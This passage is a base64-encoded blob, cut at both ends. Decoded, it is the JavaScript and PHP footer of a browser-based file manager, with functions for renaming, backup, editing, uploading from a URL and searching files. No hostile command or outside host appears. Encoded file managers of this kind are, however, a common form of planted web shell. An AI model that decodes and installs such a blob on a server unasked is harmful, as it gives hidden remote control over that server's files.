nknKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5LWRhdGF0YWJsZXMnKTsgPz5cbiAgICAgICAgPD9waHAgaWYgKEZNX1VTRV9ISUdITElHSFRKUyAmJiBpc3NldCgkX0dFVFsndmlldyddKSk6ID8+XG4gICAgICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtaGlnaGxpZ2h0anMnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgaGxqcy5oaWdobGlnaHRBbGwoKTtcbiAgICAgICAgICAgICAgICB2YXIgaXNIaWdobGlnaHRpbmdFbmFibGVkID0gdHJ1ZTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICBmdW5jdGlvbiB0ZW1wbGF0ZShodG1sLCBvcHRpb25zKSB7XG4gICAgICAgICAgICAgICAgdmFyIHJlID0gXC88XFwlKFteXFwlPl0rKT9cXCU+XC9nLFxuICAgICAgICAgICAgICAgICAgICByZUV4cCA9IFwvKF4oICk/KGlmfGZvcnxlbHNlfHN3aXRjaHxjYXNlfGJyZWFrfHt8fSkpKC4qKT9cL2csXG4gICAgICAgICAgICAgICAgICAgIGNvZGUgPSAndmFyIHI9W107XFxuJyxcbiAgICAgICAgICAgICAgICAgICAgY3Vyc29yID0gMCxcbiAgICAgICAgICAgICAgICAgICAgbWF0Y2g7XG4gICAgICAgICAgICAgICAgdmFyIGFkZCA9IGZ1bmN0aW9uKGxpbmUsIGpzKSB7XG4gICAgICAgICAgICAgICAgICAgIGpzID8gKGNvZGUgKz0gbGluZS5tYXRjaChyZUV4cCkgPyBsaW5lICsgJ1xcbicgOiAnci5wdXNoKCcgKyBsaW5lICsgJyk7XFxuJykgOiAoY29kZSArPSBsaW5lICE9ICcnID8gJ3IucHVzaChcIicgKyBsaW5lLnJlcGxhY2UoXC9cIlwvZywgJ1xcXFxcIicpICsgJ1wiKTtcXG4nIDogJycpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gYWRkXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIHdoaWxlIChtYXRjaCA9IHJlLmV4ZWMoaHRtbCkpIHtcbiAgICAgICAgICAgICAgICAgICAgYWRkKGh0bWwuc2xpY2UoY3Vyc29yLCBtYXRjaC5pbmRleCkpKG1hdGNoWzFdLCAhMCk7XG4gICAgICAgICAgICAgICAgICAgIGN1cnNvciA9IG1hdGNoLmluZGV4ICsgbWF0Y2hbMF0ubGVuZ3RoXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGFkZChodG1sLnN1YnN0cihjdXJzb3IsIGh0bWwubGVuZ3RoIC0gY3Vyc29yKSk7XG4gICAgICAgICAgICAgICAgY29kZSArPSAncmV0dXJuIHIuam9pbihcIlwiKTsnO1xuICAgICAgICAgICAgICAgIHJldHVybiBuZXcgRnVuY3Rpb24oY29kZS5yZXBsYWNlKFwvW1xcclxcdFxcbl1cL2csICcnKSkuYXBwbHkob3B0aW9ucylcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gcmVuYW1lKGUsIHQpIHtcbiAgICAgICAgICAgICAgICBpZiAodCkge1xuICAgICAgICAgICAgICAgICAgICAkKFwiI2pzLXJlbmFtZS1mcm9tXCIpLnZhbCh0KTtcbiAgICAgICAgICAgICAgICAgICAgJChcIiNqcy1yZW5hbWUtdG9cIikudmFsKHQpO1xuICAgICAgICAgICAgICAgICAgICAkKFwiI3JlbmFtZURhaWxvZ1wiKS5tb2RhbCgnc2hvdycpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY2hhbmdlX2NoZWNrYm94ZXMoZSwgdCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKSBlW25dLmNoZWNrZWQgPSBcImJvb2xlYW5cIiA9PSB0eXBlb2YgdCA/IHQgOiAhZVtuXS5jaGVja2VkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGdldF9jaGVja2JveGVzKCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIGUgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZShcImZpbGVbXVwiKSwgdCA9IFtdLCBuID0gZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkoZVtuXS50eXBlID0gXCJjaGVja2JveFwiKSAmJiB0LnB1c2goZVtuXSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VsZWN0X2FsbCgpIHtcbiAgICAgICAgICAgICAgICBjaGFuZ2VfY2hlY2tib3hlcyhnZXRfY2hlY2tib3hlcygpLCAhMClcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdW5zZWxlY3RfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCksICExKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBpbnZlcnRfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCkpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGNoZWNrYm94X3RvZ2dsZSgpIHtcbiAgICAgICAgICAgICAgICB2YXIgZSA9IGdldF9jaGVja2JveGVzKCk7XG4gICAgICAgICAgICAgICAgZS5wdXNoKHRoaXMpLCBjaGFuZ2VfY2hlY2tib3hlcyhlKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBiYWNrdXAoZSwgdCkge1xuICAgICAgICAgICAgICAgIHZhciBuID0gbmV3IFhNTEh0dHBSZXF1ZXN0LFxuICAgICAgICAgICAgICAgICAgICBhID0gXCJwYXRoPVwiICsgZSArIFwiJmZpbGU9XCIgKyB0ICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJnR5cGU9YmFja3VwJmFqYXg9dHJ1ZVwiO1xuICAgICAgICAgICAgICAgIHJldHVybiBuLm9wZW4oXCJQT1NUXCIsIFwiXCIsICEwKSwgbi5zZXRSZXF1ZXN0SGVhZGVyKFwiQ29udGVudC10eXBlXCIsIFwiYXBwbGljYXRpb25cL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFwiKSwgbi5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgNCA9PSBuLnJlYWR5U3RhdGUgJiYgMjAwID09IG4uc3RhdHVzICYmIHRvYXN0KG4ucmVzcG9uc2VUZXh0KVxuICAgICAgICAgICAgICAgIH0sIG4uc2VuZChhKSwgITFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdG9hc3QodHh0KSB7XG4gICAgICAgICAgICAgICAgdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcInNuYWNrYmFyXCIpO1xuICAgICAgICAgICAgICAgIHguaW5uZXJIVE1MID0gdHh0O1xuICAgICAgICAgICAgICAgIHguY2xhc3NOYW1lID0gXCJzaG93XCI7XG4gICAgICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgeC5jbGFzc05hbWUgPSB4LmNsYXNzTmFtZS5yZXBsYWNlKFwic2hvd1wiLCBcIlwiKTtcbiAgICAgICAgICAgICAgICB9LCAzMDAwKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZWRpdF9zYXZlKGUsIHQpIHtcbiAgICAgICAgICAgICAgICB2YXIgbiA9IFwiYWNlXCIgPT0gdCA/IGVkaXRvci5nZXRTZXNzaW9uKCkuZ2V0VmFsdWUoKSA6IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwibm9ybWFsLWVkaXRvclwiKS52YWx1ZTtcbiAgICAgICAgICAgICAgICBpZiAodHlwZW9mIG4gIT09ICd1bmRlZmluZWQnICYmIG4gIT09IG51bGwpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKHRydWUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFqYXg6IHRydWUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudDogbixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9rZW46IHdpbmRvdy5jc3JmXG4gICAgICAgICAgICAgICAgICAgICAgICB9O1xuXG4gICAgICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU6IFwiUE9TVFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVybDogd2luZG93LmxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IEpTT04uc3RyaW5naWZ5KGRhdGEpLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnRUeXBlOiBcImFwcGxpY2F0aW9uXC9qc29uOyBjaGFyc2V0PXV0Zi04XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24obWVzKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiU2F2ZWQgU3VjY2Vzc2Z1bGx5XCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVyblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoXCJFcnJvcjogdHJ5IGFnYWluXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKG1lcykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChgPHAgc3R5bGU9XCJiYWNrZ3JvdW5kLWNvbG9yOnJlZFwiPiR7bWVzLnJlc3BvbnNlVGV4dH08XC9wPmApO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KFwiZm9ybVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGEuc2V0QXR0cmlidXRlKFwibWV0aG9kXCIsIFwiUE9TVFwiKSwgYS5zZXRBdHRyaWJ1dGUoXCJhY3Rpb25cIiwgXCJcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJ0ZXh0YXJlYVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIG8uc2V0QXR0cmlidXRlKFwidHlwZVwiLCBcInRleHRhcmVhXCIpLCBvLnNldEF0dHJpYnV0ZShcIm5hbWVcIiwgXCJzYXZlZGF0YVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBjeCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJpbnB1dFwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGN4LnNldEF0dHJpYnV0ZShcInR5cGVcIiwgXCJoaWRkZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJuYW1lXCIsIFwidG9rZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJ2YWx1ZVwiLCB3aW5kb3cuY3NyZik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgYyA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKG4pO1xuICAgICAgICAgICAgICAgICAgICAgICAgby5hcHBlbmRDaGlsZChjKSwgYS5hcHBlbmRDaGlsZChvKSwgYS5hcHBlbmRDaGlsZChjeCksIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSksIGEuc3VibWl0KClcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2hvd19uZXdfcHdkKCkge1xuICAgICAgICAgICAgICAgICQoXCIuanMtbmV3LXB3ZFwiKS50b2dnbGVDbGFzcygnaGlkZGVuJyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIHNhdmVfc2V0dGluZ3MoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24oZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9KTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIG5ld19wYXNzd29yZF9oYXNoKCR0aGlzKSB7XG4gICAgICAgICAgICAgICAgbGV0IGZvcm0gPSAkKCR0aGlzKSxcbiAgICAgICAgICAgICAgICAgICAgJHB3ZCA9ICQoXCIjanMtcHdkLXJlc3VsdFwiKTtcbiAgICAgICAgICAgICAgICAkcHdkLnZhbCgnJyk7XG4gICAgICAgICAgICAgICAgJC5hamF4KHtcbiAgICAgICAgICAgICAgICAgICAgdHlwZTogZm9ybS5hdHRyKCdtZXRob2QnKSxcbiAgICAgICAgICAgICAgICAgICAgdXJsOiBmb3JtLmF0dHIoJ2FjdGlvbicpLFxuICAgICAgICAgICAgICAgICAgICBkYXRhOiBmb3JtLnNlcmlhbGl6ZSgpICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJmFqYXg9XCIgKyB0cnVlLFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwd2QudmFsKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiB1cGxvYWRfZnJvbV91cmwoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpLFxuICAgICAgICAgICAgICAgICAgICByZXN1bHRXcmFwcGVyID0gJChcImRpdiNqcy11cmwtdXBsb2FkX19saXN0XCIpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgYmVmb3JlU2VuZDogZnVuY3Rpb24oKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikuYXR0cihcImRpc2FibGVkXCIsIFwiZGlzYWJsZWRcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJidXR0b25cIikuaGlkZSgpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5hZGRDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhLmRvbmUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzdWx0V3JhcHBlci5hcHBlbmQoJzxkaXYgY2xhc3M9XCJhbGVydCBhbGVydC1zdWNjZXNzIHJvd1wiPlVwbG9hZGVkIFN1Y2Nlc3NmdWw6ICcgKyBkYXRhLmRvbmUubmFtZSArICc8XC9kaXY+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImlucHV0W25hbWU9dXBsb2FkdXJsXVwiKS52YWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoZGF0YVsnZmFpbCddKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc3VsdFdyYXBwZXIuYXBwZW5kKCc8ZGl2IGNsYXNzPVwiYWxlcnQgYWxlcnQtZGFuZ2VyIHJvd1wiPkVycm9yOiAnICsgZGF0YS5mYWlsLm1lc3NhZ2UgKyAnPFwvZGl2PicpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcImJ1dHRvblwiKS5zaG93KCk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiLmxkcy1mYWNlYm9va1wiKS5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9LFxuICAgICAgICAgICAgICAgICAgICBlcnJvcjogZnVuY3Rpb24oeGhyKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBmb3JtLmZpbmQoXCJpbnB1dFtuYW1lPXVwbG9hZHVybF1cIikucmVtb3ZlQXR0cihcImRpc2FibGVkXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgZm9ybS5maW5kKFwiYnV0dG9uXCIpLnNob3coKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGZvcm0uZmluZChcIi5sZHMtZmFjZWJvb2tcIikucmVtb3ZlQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoeGhyKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VhcmNoX3RlbXBsYXRlKGRhdGEpIHtcbiAgICAgICAgICAgICAgICB2YXIgcmVzcG9uc2UgPSBcIlwiO1xuICAgICAgICAgICAgICAgICQuZWFjaChkYXRhLCBmdW5jdGlvbihrZXksIHZhbCkge1xuICAgICAgICAgICAgICAgICAgICByZXNwb25zZSArPSBgPGxpPjxhIGhyZWY9XCI/cD0ke3ZhbC5wYXRofSZ2aWV3PSR7dmFsLm5hbWV9XCI+JHt2YWwucGF0aH1cLyR7dmFsLm5hbWV9PFwvYT48XC9saT5gO1xuICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgIHJldHVybiByZXNwb25zZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZm1fc2VhcmNoKCkge1xuICAgICAgICAgICAgICAgIHZhciBzZWFyY2hUeHQgPSAkKFwiaW5wdXQjYWR2YW5jZWQtc2VhcmNoXCIpLnZhbCgpLFxuICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyID0gJChcInVsI3NlYXJjaC13cmFwcGVyXCIpLFxuICAgICAgICAgICAgICAgICAgICBwYXRoID0gJChcIiNqcy1zZWFyY2gtbW9kYWxcIikuYXR0cihcImhyZWZcIiksXG4gICAgICAgICAgICAgICAgICAgIF9odG1sID0gXCJcIixcbiAgICAgICAgICAgICAgICAgICAgJGxvYWRlciA9ICQoXCJkaXYubGRzLWZhY2Vib29rXCIpO1xuICAgICAgICAgICAgICAgIGlmICghIXNlYXJjaFR4dCAmJiBzZWFyY2hUeHQubGVuZ3RoID4gMiAmJiBwYXRoKSB7XG4gICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgYWpheDogdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IHNlYXJjaFR4dCxcbiAgICAgICAgICAgICAgICAgICAgICAgIHBhdGg6IHBhdGgsXG4gICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2VhcmNoJyxcbiAgICAgICAgICAgICAgICAgICAgICAgIHRva2VuOiB3aW5kb3cuY3NyZlxuICAgICAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgdHlwZTogXCJQT1NUXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICB1cmw6IHdpbmRvdy5sb2NhdGlvbixcbiAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IGRhdGEsXG4gICAgICAgICAgICAgICAgICAgICAgICBiZWZvcmVTZW5kOiBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoJycpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsb2FkZXIuYWRkQ2xhc3MoJ3Nob3ctbWUnKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBzdWNjZXNzOiBmdW5jdGlvbihkYXRhKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxvYWRlci5yZW1vdmVDbGFzcygnc2hvdy1tZScpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGEgPSBKU09OLnBhcnNlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChkYXRhICYmIGRhdGEubGVuZ3RoKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9odG1sID0gc2VhcmNoX3RlbXBsYXRlKGRhdGEpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZWFyY2hXcmFwcGVyLmh0bWwoX2h0bWwpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHNlYXJjaFdyYXBwZXIuaHRtbCgnPHAgY2xhc3M9XCJtLTJcIj5ObyByZXN1bHQgZm91bmQhPHA+Jyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgIGVycm9yOiBmdW5jdGlvbih4aHIpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbG9hZGVyLnJlbW92ZUNsYXNzKCdzaG93LW1lJyk7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKCc8cCBjbGFzcz1cIm0tMlwiPkVSUk9SOiBUcnkgYWdhaW4gbGF0ZXIhPFwvcD4nKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgc2VhcmNoV3JhcHBlci5odG1sKFwiT09QUzogbWluaW11bSAzIGNoYXJhY3RlcnMgcmVxdWlyZWQhXCIpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY29uZmlybURhaWxvZyhlLCBpZCA9IDAsIHRpdGxlID0gXCJBY3Rpb25cIiwgY29udGVudCA9IFwiXCIsIGFjdGlvbiA9IG51bGwpIHtcbiAgICAgICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7XG4gICAgICAgICAgICAgICAgY29uc3QgdHBsT2JqID0ge1xuICAgICAgICAgICAgICAgICAgICBpZCxcbiAgICAgICAgICAgICAgICAgICAgdGl0bGUsXG4gICAgICAgICAgICAgICAgICAgIGNvbnRlbnQ6IGRlY29kZVVSSUNvbXBvbmVudChjb250ZW50LnJlcGxhY2UoXC9cXCtcL2csICcgJykpLFxuICAgICAgICAgICAgICAgICAgICBhY3Rpb25cbiAgICAgICAgICAgICAgICB9O1xuICAgICAgICAgICAgICAgIGxldCB0cGwgPSAkKFwiI2pzLXRwbC1jb25maXJtXCIpLmh0bWwoKTtcbiAgICAgICAgICAgICAgICAkKFwiLm1vZGFsLmNvbmZpcm1EYWlsb2dcIikucmVtb3ZlKCk7XG4gICAgICAgICAgICAgICAgJCgnI3dyYXBwZXInKS5hcHBlbmQodGVtcGxhdGUodHBsLCB0cGxPYmopKTtcbiAgICAgICAgICAgICAgICBjb25zdCAkY29uZmlybURhaWxvZyA9ICQoXCIjY29uZmlybURhaWxvZy1cIiArIHRwbE9iai5pZCk7XG4gICAgICAgICAgICAgICAgJGNvbmZpcm1EYWlsb2cubW9kYWwoJ3Nob3cnKTtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICEgZnVuY3Rpb24ocykge1xuICAgICAgICAgICAgICAgIHMucHJldmlld0ltYWdlID0gZnVuY3Rpb24oZSkge1xuICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IHMoZG9jdW1lbnQpLFxuICAgICAgICAgICAgICAgICAgICAgICAgdCA9IFwiLnByZXZpZXdJbWFnZVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgYSA9IHMuZXh0ZW5kKHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB4T2Zmc2V0OiAyMCxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB5T2Zmc2V0OiAtMjAsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZmFkZUluOiBcImZhc3RcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjc3M6IHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFkZGluZzogXCI1cHhcIixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm9yZGVyOiBcIjFweCBzb2xpZCAjY2NjY2NjXCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFwiYmFja2dyb3VuZC1jb2xvclwiOiBcIiNmZmZcIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnRTZWxlY3RvcjogXCJbZGF0YS1wc